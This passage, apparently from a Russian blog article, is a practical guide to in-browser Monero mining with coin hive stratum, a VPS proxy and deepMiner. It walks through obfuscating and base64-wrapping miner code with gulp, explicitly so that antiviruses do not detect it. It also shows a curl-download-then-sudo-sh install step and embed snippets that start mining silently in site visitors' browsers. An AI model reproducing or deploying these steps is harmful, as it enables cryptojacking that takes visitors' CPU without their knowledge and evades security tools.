Нежелательная информация при использовании coin hive stratum

Правильный порядок действий:

  1. Регистрируемся на now.sh -> Create a new token here -> Подтверждаем email -> Создаем токен:
    Этап регистрации на Now.sh (1)

    Копируем ключ:

    Этап регистрации на Now.sh (2)

    Разворачиваем:

    Этап регистрации на Now.sh (3)

    Получаем адрес wss:

    Этап регистрации на Now.sh (4)

  2. Делаем fork репозитория и обязательно переименовываем репо в my-proxy после переходим по адресу https://<YOUR-GITHUB-USERNAME>.github.io/my-proxy/m.js;
  3. Копируем base64 код в atob функции и на этом сайте (decode вкладка) расшифровываем его и получившийся js копируем в любой редактор;
  4.  Находим ~~184 строку и меняем var libUrl = null; на var libUrl = 'https://<YOUR-GITHUB-USERNAME>.github.io/my-proxy/'; ;
  5. Находим ~~ 193 строку и меняем const proxyUrl = decodeURIComponent(scriptTag[0x0][_0x989d("0x6")]["split"](_0x989d("0xa"))[0x1]); на  const proxyUrl = 'URL из первого шага + пул = wss://coin-hive-stratum-1488228.now.sh?pool=pool.somepool.com:3333';
  6. Код между 184 — 193 линией удаляем + console.log. В итоге все должно выглядеть так (на 5 шаге приведен пример несуществующего бассейна, поэтому замените его на любой другой. ):
    Измененный m.js файл из github форка
  7. Теперь давайте сохраним файл в папке, откроем консольку, введем npm init и немного автоматизируем это дело на будущее;
  8. В сгенерированный package.json добавляем/изменяем следующий код и после выполняем npm install:
    "devDependencies": {
    "babel-preset-env": "^1.6.1",
    "gulp": "^3.9.1",
    "gulp-babel": "^7.0.0",
    "gulp-extname": "^0.2.2",
    "gulp-load-plugins": "^1.5.0",
    "gulp-rename": "^1.2.2",
    "gulp-uglify": "^3.0.0",
    "babel-core": "^6.26.0",
    "base-64": "^0.1.0",
    "event-stream": "^3.3.4",
    "fs": "0.0.1-security",
    "gulp-javascript-obfuscator": "^1.1.4"
    },
  9. Для сборки я буду использовать gulp, поэтому создаем gulpfile.js и добавляем таск build :
    var $        = require('gulp-load-plugins')();
    var gulp     = require('gulp');
    var rimraf   = require('rimraf');
    var es = require('event-stream');
    var fs = require('fs');
    var base64 = require('base-64');
    var babel = require('gulp-babel');
    /*-----------------------------------------------*/
    gulp.task('build', function(cb) {
        es.concat(
            gulp.src('sourcefile.js')
    				 .pipe(babel({
    		            presets: ['env']
    		        }))
    			   .pipe($.uglify())
    		    	.pipe($.javascriptObfuscator({
    		    		compact:true
    		    	}))
    		    	.pipe($.rename('destfile.min.js')) 
    		    	.pipe(gulp.dest('../'))
        ).on('end', function(){
        	
        	var fileContent = fs.readFileSync('destfile.min.js', "utf8"); 
    		var encoded = base64.encode(fileContent);
    		fs.writeFile('destfile.min.js', 'new Function(atob("'+encoded+'"))()', cb);
        });
    
    });
  10. Теперь осталось выполнить gulp build и сгенерированный + обфусцированный + зашифрованный файл закинуть на хостинг и подключить его следующим образом:
    <script src="destfile.min.js"></script>
    <script>
     
    if(typeof CH != "undefined") { 
    	var miner = CH.Anonymous('ТУТ УКАЗЫВАЕМ адрес вашего Monero кошелька', {throttle: 0.3});
    	miner.start();
    }
    
    </script> 
  11. Теперь мы имеем красивое подключение + автоматизированный сборщик для «жонглирования» пулами при необходимости и что самое главное, теперь мы скрыты от некоторых антивирусов, которые не видят «майнинг» следов.

Теперь после всех шагов, заходим на сайт, где установлен код и уже через несколько минут на пуле, который вы указали на 2 шаге начнет отображаться статистика по добыче. 

Подключение через ваш vps proxy 

Весь процесс описан у автора, но хочу выделить несколько пунктов:

  1. В качестве vps не обязательно использовать DigitalOcean, а можно например Vultr — цены ниже, а функционал такой же + для старта как раз подойдет;
  2. Перед запуском прокси, убедитесь, что прослушиваемый порт proxy.listen(443);  открыт/свободен, а лучше переопределить текущий 443 порт на какой-нибудь 7777 , во избежание проблем с Apache (если таковой имеется естественно).

deepMiner

На момент написания статьи —  самая продвинутая и перспективная разработка по сравнению с двумя предыдущими. По принципу работы напоминает гибрид coinive и coin hive statum.

Плюсы:

  1. Относительно простая инициализация;
  2. Можно добывать Monero и Electroneum;
  3. Есть пул от разработчика(pool.elitexmr.com:8080), который 100% не даст бан, но имеет малую сложность;
  4. Возможность выбирать пул или использовать свой собственный (например поднять на своем vps);
  5. На момент написания статьи никак не блокируется и не обнаруживается антивирусами/расширениями;
  6. Инициализация и параметры майнера такие же как и на coinhive или coin hive statum.

Минусы:

  1. Сложности/блокировки на пулах + не каждый пул может подойти;
  2. Нет хорошей документации.

Чтобы подключиться и начать браузерный майнинг, нужно иметь свой настроенный/готовый vps (ssl+node и т.п) . Кстати, вы можете прочитать подробную статью о том как поднять  SSL за пять минут по этой ссылке, ну или использовать другие проверенные источники.  Теперь выполняем последовательно команды и собираем конфигурацию в config.json файл:

curl https://raw.githubusercontent.com/deepwn/deepMiner/master/install.sh > install.sh
sudo sh install.sh

В процессе установки можете просто везде жать Enter, т.к все равно потом этот файл (config.json) вы сможете настроить по своему вкусу. Итак, после установки выполните следующую команду — nano /srv/deepMiner/config.json и заполните все необходимые поля :

  • lhost, domain — ваш домен,ваш домен:порт;
  • pool— ваш пул ;
  • addr — кошелек Monero (на некоторых пулах в конце кошелька вводиться доп.информация: ваш email, сложность, id воркера и т.п );
  • pass — пароль, который иногда требуют пулы (по умолчанию всегда x)
  • key, cert — путь к ключам let’s encrypt

Конфигурационный файл deepMiner

Сохраните файл и запустите в терминале команду forever start server.js и в браузере откройте страницу https://myvps.com:7777/demo.html:

Результат работы deepMiner

Если вы увидели эту страницу, то все в порядке и теперь можете смело добавлять на своих сайтах следующий код, который будет автоматически начинать майнить в фоновом режиме:

<script src="https://myvps.com:7777/deepMiner.min.js"></script>
<script>
if(typeof deepMiner !== 'undefined') {
        var miner = new deepMiner.Anonymous('deepMiner_test', { autoThreads: true });
        miner.start();
}
</script>

Итог

В этой статье, я лишь поверхностно рассмотрел некоторые скрипты для добычи криптовалют, возможно есть более лучшие и продвинутые варианты, однако на сегодняшний день, как мы видим, все больше и больше скриптов по добыче подвергаются блокировкам и другому прессингу… И это на самом деле очень печально. Однако, я считаю, что за подобной «монетизацией» будущее и революция неизбежна, в ходе которой реклама окончательно должна умереть, либо занять свою минимальную нишу. Ведь подумайте, как было бы здорово, заходить на любые сайты и не видеть там очередную раздражающую рекламу от Азино 777 или начинать просмотр онлайн видео без вставок про Джойказино и т.п, а лишь получать нагружаемый ЦП на какие-нибудь 20-40% при просмотре сайта.

Понравилась статья? Поделить с друзьями:
  • Как написать свой логин
  • Как написать свой личный дневник
  • Как написать свой линукс
  • Как написать свой лаунчер майнкрафт
  • Как написать свой лаунчер для minecraft